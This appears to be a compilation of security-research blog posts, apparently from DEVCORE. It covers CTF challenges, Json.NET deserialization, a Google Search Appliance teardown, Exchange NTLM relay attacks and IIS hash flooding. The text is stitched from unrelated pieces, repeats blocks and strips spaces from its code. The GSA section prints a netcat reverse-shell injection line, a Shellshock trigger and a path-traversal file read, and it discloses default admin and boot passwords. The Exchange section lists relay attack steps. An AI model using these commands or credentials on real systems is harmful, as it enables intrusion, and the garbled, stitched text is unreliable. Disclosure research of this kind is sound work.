這次準備的題目分別是 What’s my IP、Submit flag 和 My todolist。第一個題目 What’s my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題,只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition,是一個老梗但也是滲透測試中經常被忽略的細節,為了提高成功率從而避免讓參加者浪費太多時間,我特地在中間插入不必要的 sleep,雖然可能讓題目變得過於簡單,希望至少能提醒大家回想起還存在這種弱點就太好了。
Dictionary<string,string>source=newDictionary<string,string>();source.Add("you control the key","you control the value");JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All,MetadataPropertyHandling=MetadataPropertyHandling.ReadAhead};JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source,settings),settings);
既然驗證此設定是可以 exploit 的,剩下就是包裝一個應用程式的情境,而最終趕出的成品就是 My todolist 這道題目。
理論上直接使用 RolePrincipal 就能執行系統指令了,只是這個 exploit 執行後不會有任何指令回顯,而我們還需要嘗試找到並讀取 flag,為了後續更便利操作,我們可以嘗試將漏洞轉換成 web shell,詳細可以參考我的另一篇文章「玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門!」,但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行,但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話,會發現 help 訊息中多了一個新的參數 –bgc。
--bgc, --bridgedgadgetchains=VALUE
Chain of bridged gadgets separated by comma (,).
Each gadget will be used to complete the next
bridge gadget. The last one will be used in the
requested gadget. This will be ignored when
using the searchformatter argument.
importcom.davisor.net.servlet.DownloadServlet;importcom.documill.dps.*;importjava.io.*;importjavax.servlet.ServletContext;publicclassDPSDownloadServletextendsDownloadServletimplementsDPSUserService{publicDPSDownloadServlet(){}protectedStringgetRealPath(ServletContextservletcontext,Strings)throwsIOException{DPSdps=DPSSingleton.getDPS();Filefile=dps.getHomeDir();if(file==null)thrownewFileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");elsereturn(newFile(file,s)).getAbsolutePath();}privatestaticfinallongserialVersionUID=0L;}
Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0
未知
7.2.0
Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14
Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0
Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008
GSA uses Oracle’s Outside-in Technology to convert documents.
Google Web services have some fixed URIs that provide information about the service itself.
Introduction
The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.
Appliance and Software Acquisition
We managed to purchase a device by searching “Google Search Appliance” on eBay.
Luckily, the first one we bought was a GSA with unerased data:
Even now, you can still find devices that are currently being sold.
On the other hand, The original public link of vGSA has been removed.
http://dl.google.com/vgsa/vgsa_20090210.7z [removed]
http://dl.google.com/vgsa/vgsa_20081028.7z [removed]
Next, found the link to the old version software from Google Groups:
https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ
Next, we began research on vGSA. By default, after importing the virtual machine,
this system only provides a function for network configuration and doesn’t provide a system shell for operation or use.
However, because the virtual machine operates within ours own environment,
it is usually possible to obtain system permissions through the following methods:
Directly altering unencrypted disk files
Modifying the virtual machine memory
Booting using CDs or disks from another operating system
Exploiting known vulnerabilities
Utilizing hard-coded administrator or system account passwords
The following image shows the network configuration screen:
CVE-2014-6271
When testing early Linux appliances and servers, especially those using the RedHat series operating system,
there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception.
Inserting option 114 in the DHCP server will be set in the environment variable,
thereby triggering the vulnerability and executing any command.
The command attempted to be inserted is:
useradd zzzzgsa.
This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.
vGSA operation system observation
After successfully obtaining operating system privileges,
we can observe the network environment,
the running applications, and the file system.
Here are some insights gained from observing the operating system environment:
Version number is 5.2.0.G.27.
Services are mainly written in C/C++, Java, Python.
/export/hda3 seems to be the directory primarily used by the service.
/etc/shadow contains the root account with password hash x███████████M.
Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.
/.gnupg contains ent_box_key public and private keys.
/.gnupg contains google_license_key public key.
/.ssh/authorized_keys contains two sets of public keys.
/root/.ssh/authorized_keys contains one set of public keys.
/root/.ssh/ contains two sets of SSH public and private keys.
/root/.gnupg/ contains ent_box_key public and private keys.
Oracle’s Outside In Technology is used to convert documents into HTML web pages.
The Java runtime environment uses a Security Manager for protection.
The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).
The boot menu password in /etc/lilo.conf is cmBalx7.
/export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.
/export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= ).
Executable programs with network services are as follows:
Listen Port
Process Name
Program Language
Function
22
ssh
C/C++
OpenSSH Server
53
named
C/C++
Bind Named
953
named
C/C++
Bind Named
1111
webserver_config
python
Installer
2100
adminrunner.py
python
admin console backend
3990
monitor
C/C++
monitor
4000
rtserver
C/C++
unknown
4430
EnterpriseFrontend
Java (with security manager)
admin console frontend
4911
borgmon
C/C++
borgmon
4916
reactor
C/C++
unknown
5000
rtserver
C/C++
unknown
5600
rtserver
C/C++
unknown
6600
cacheserver
C/C++
unknown
7800
EnterpriseFrontend
Java (with security manager)
admin console frontend (http)
7880
TableServer
Java (with security manager)
unknown
7882
AuthzChecker
Java (without security manager)
unknown
7886
tomcat
Java
tomcat server
8000
EnterpriseAdminConsole
Java (without security manager)
unknown
8443
stunnel
C/C++
redirect http to https
8888
GWS
C/C++
unknown
9300
oneboxserver
C/C++
unknown
9328
entspellmixer
C/C++
unknown
9400
mixserver
C/C++
unknown
9402
mixserver
C/C++
unknown
9448
qrewrite
C/C++
unknown
9450
EnterpriseAdminConsole
Java (without security manager )
unknown
10094
enterprise_onebox
C/C++
unknown
10200
clustering_server
C/C++
unknown
11913
sessionmanager
C/C++
unknown
12345
RegistryServer
Java (without security manager)
unknown
19780
configmgr/ent_configmgr.py
python
unknown
19900
feedergate
C/C++
extract, transform and feed records
21200
FileSystemGateway
Java (with security manager)
unknown
31300
rtserver
C/C++
unknown
Despite the presence of so many services, most connections are blocked by iptables.
The following are the iptables settings:
And we found that the strings in file /export/hda3/versionmanager/google_key.symmetric can be used to decrypt the content of all install bundles!
After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle,
our research on vGSA has temporarily concluded.
But its lacks of memory protection might have some vulnerabilities that can be easily exploited.
GSA
Upon booting the installed appliance and attempting to change the boot sequence,
we found that a password is required to enter the BIOS.
Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:
Next, attempt to directly read the contents of the hard drive.
If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly.
We found that its hard drive uses SAS interface for transmission.
Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:
After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED).
It requires a password to unlock for access. OSSLab has a more detailed explanation here:
There are several ways to continue trying when the hard drive cannot be directly accessed:
Try to read the password in the BIOS EEPROM and change the boot order.
This method requires damage to the motherboard and carries some risk.
This method is only used when no vulnerabilities can be found at the software level.
More information: https://blog.cybercx.co.nz/bypassing-bios-password
Use PCILeech to read, write memory to gain system privileges.
This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project:
Look for software vulnerabilities that can access the service
This method is simpler and more feasible.
LF injection in Admin Console
After logging into the admin console,
we observed a feature for obtaining system information through SNMP.
Additionally, this feature allows the insertion of custom strings.:
We tried classic LF injection here:
Inject sysContact with a LF and following command:
extend shell /bin/nc -e /bin/sh 10.5.2.1 4444
After inserting the configuration value “extend”,
we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.
Command executed successfully, and connected back with a shell.
Arbitrary File Reading
From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package.
There are several http configurations located in /etc/httpd/conf.d/.
In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.
The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers.
When proxying two or more web servers, the path determination of Tomcat, ..;/,
is an interesting test point. You can refer to the article written by our employee for more details:
The point we’re interested in is dps, which doesn’t seem to be present in the old version of GSA.
Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by
com.documill.dps.connector.servlet.user.DPSDownloadServlet
importcom.davisor.net.servlet.DownloadServlet;importcom.documill.dps.*;importjava.io.*;importjavax.servlet.ServletContext;publicclassDPSDownloadServletextendsDownloadServletimplementsDPSUserService{publicDPSDownloadServlet(){}protectedStringgetRealPath(ServletContextservletcontext,Strings)throwsIOException{DPSdps=DPSSingleton.getDPS();Filefile=dps.getHomeDir();if(file==null)thrownewFileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");elsereturn(newFile(file,s)).getAbsolutePath();}privatestaticfinallongserialVersionUID=0L;}
Step into com.davisor.net.servlet.DownloadServlet which extends DPSDownloadServlet:
protectedvoidservice(HttpServletRequesthttpservletrequest,HttpServletResponsehttpservletresponse)throwsServletException,IOException{Strings=httpservletrequest.getParameter(uriParameterName);if(!isValid(s)){httpservletresponse.sendError(400,(newStringBuilder()).append("Invalid file path: ").append(s).toString());return;}Filefile=rootDirectory.deriveFile(s);if(!file.isFile())httpservletresponse.sendError(404,(newStringBuilder()).append("No file:").append(s).toString());elseif(!file.canRead()){httpservletresponse.sendError(403,(newStringBuilder()).append("Unreadable file:").append(s).toString());}else{longl=file.length();if(l>0x7fffffffL){httpservletresponse.sendError(413,(newStringBuilder()).append("File too big:").append(l).toString());}else{Strings1=MIME.getTypeFromPath(file.getName(),"application/octet-stream");httpservletresponse.setContentLength((int)l);httpservletresponse.setContentType(s1);httpservletresponse.setDateHeader("Last-Modified",file.lastModified());if(cacheExpires>0L){httpservletresponse.setDateHeader("Expires",System.currentTimeMillis()+cacheExpires);httpservletresponse.setHeader("Cache-Control","public");}IO.copy(file,httpservletresponse.getOutputStream());}}}privatestaticbooleanisValid(Strings){return!Strings.isEmpty(s)&&!s.contains("..");}
You can see here that the only check is whether the string contains ...
However, we can directly specify the absolute path and read any local file directly!
The old version of GSA does not have the /font endpoint,
but /dps/admin/admin has a similar file reading issue.
You can directly specify the logName for file reading.
Refer to the diagram below for directly reading the account password from the system management interface:
After successfully cracking the hash, you can log in, enable the SNMP service,
and combine it with the first vulnerability to execute arbitrary commands with root privileges.
Other findings and misc
Internal URIs in web services
In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol.
Many of these services offer URLs such as /varz, /helpz, and /procz.
We can access them either in the trusted network location defined for the service or using 127.0.0.1:
In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”,
this parameter allows direct access to a certain functionality of the externally exposed admin console when
included in the request header as “X-User-Ip”.
The /procz endpoint can even fetch executables and the shared libraries they are using:
Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0
7.2.0
Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14
Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0
Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008
Timeline
時間
事件
2005/06/10
Java Code Injection CVE-2005-3757 reported by H D Moore
early 2008
GSA 5.0 released
2008/10/28
vgsa_20081028.7z (5.2.0) released
2013/04/20
GSA 6.14.0.G28 released
2014/03/20
Cross-site Scripting CVE-2014-0362 reported by Will Dormann
2014/10/01
GSA 7.0.14.G238 released
2014/10/03
GSA 7.2.0.G252 released
2014/12/12
GSA 7.2.0.G264 released
2015/02/07
GSA 7.2.0.G270 released
2015/04/15
GSA 7.4.0.G64 released
2015/04/22
GSA 7.4.0.G72 released
2015/04/30
GSA 7.4.0.G74 released
2015/06/04
GSA 7.4.0.G82 released
early 2016
Google announced that GSA will be sunset from the market.
2016/01/05
XML External Entitiy injection reported by Timo
2016/05/24
GSA 7.6.0.G36 released
2016/07/01
GSA 7.6.0.G42 released
2016/07/31
The author of this article obtained this device, with the version being 7.0.14
2016/08/25
GSA 7.6.0.G46 released
2016/10/21
GSA 7.6.0.G58 released
2017/01/19
GSA 7.6.50.G30 released
2017/04/19
GSA 7.6.50.G36 released
2017/07/28
GSA 7.6.50.G64 released
2017/11/09
GSA 7.6.250.G12 released
2017/12/28
The final date to order GSA.
2018/01/17
GSA 7.6.250.G20 released
2018/03/21
GSA 7.6.250.G26 released
2018/06/15
GSA 7.6.360.G10 released
2018/10/08
GSA 7.6.360.G16 released
2019/04/26
GSA 7.6.512.G18 released. It should be the last publicly released version.
2021/08/16
issues reported.
2021/08/16
replied from a bot, and triaged.
2021/08/16
issuetracker.google.com assigned a issue.
2021/08/18
Google said issue is not severe enough to qualify for a reward, but VRP panel will take a closer look.
2021/08/20
VRP panel has decided that the security impact of this issue does not meet the bar for a financial reward.
2021/11/01
Asking if a vulnerability will be assigned a CVE identifier.
2021/11/02
Confirming that a CVE identifier will not be assigned.
early 2023
Started writing this article
2023/06/04
First draft completed.
Conclusion
Although the GSA/vGSA is a product that has reached the end of its lifecycle,
studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge,
which we might not usually come into contact with.
Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA,
and this research has also left some goals for further study:
The feedergate service listening on port 19900.
Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.
The convert_to_html seccomp sandbox
We will share when there are some research results, See you next time.
Remote Door Execution
家用物聯網裝置被駭客用以監看或監聽已是廣為人知的資安問題,然而若門鎖也能被遠端遙控開啟,除了個人隱私遭到侵犯,更是居家安全的重大威脅。與研究團隊共同奪得 Pwn2Own Toronto 2022 冠軍的資安研究員 Nini,將於本場議程中分享其如何嘗試透過軟硬體攻擊,最終在電子鎖上發掘可以任意開門的漏洞。
From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路
DEVCORE 自 2020 年開始參與白帽駭客最高殿堂競賽 Pwn2Own,迄今拿下兩次亞軍、兩次冠軍。此場議程將由駭客界頗負盛名、屢屢獲獎並受邀演講的 DEVCORE 首席資安研究員 Orange 及資深資安研究員 Angelboy 共同主講,與會眾分享如何挑選目標、建立團隊默契、試誤與學習、與廠商之間的攻防戰等參賽背後秘辛與趣事。
Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.
Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.
Idea
Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?
Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.
Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)
Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.
In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.
With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?
There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!
P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.
Vulnerabilities
Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:
The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.
In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.
Round 1 - Relay to Exchange FrontEnd
For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:
Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
Complete the NTLM handshakes to get full access to the EWS endpoint.
Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.
Patching FrontEnd
Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.
Round 2 - Relay to Exchange BackEnd
Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.
2-1 Attacking BackEnd /EWS
Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.
2-2 Attacking BackEnd /RPC
The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.
Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:
Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…
2-3 Attacking BackEnd /PowerShell
The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.
Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)
2-4 Patching BackEnd
Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.
Round 3 - Relay to Windows DCOM
This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!
The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!
Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:
Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
Run arbitrary commands for fun and profit!
Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!
Patching DCOM
Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.
As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!
P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now
Round 4 - Relay to Other Exchange Services…
Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!
Closing
Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.
Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…
Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.
Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!
Timeline
Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
Jun 03, 2021 - MSRC opened the case. (No. 65594)
Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
Aug 25, 2021 - We asked for the estimated date again.
Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
Dec 21, 2021 - We asked for updates on this case.
Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,
一個人走,可以走得很快;但一群人走,可以走得更遠。
故此,We Need YOU!
現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!
戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。
As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.
Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!
Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.
P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.
1. IIS Hash-Flooding DoS
It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!
Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!
You can check the full demo video here:
2. IIS Cache Poisoning Attack
Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.
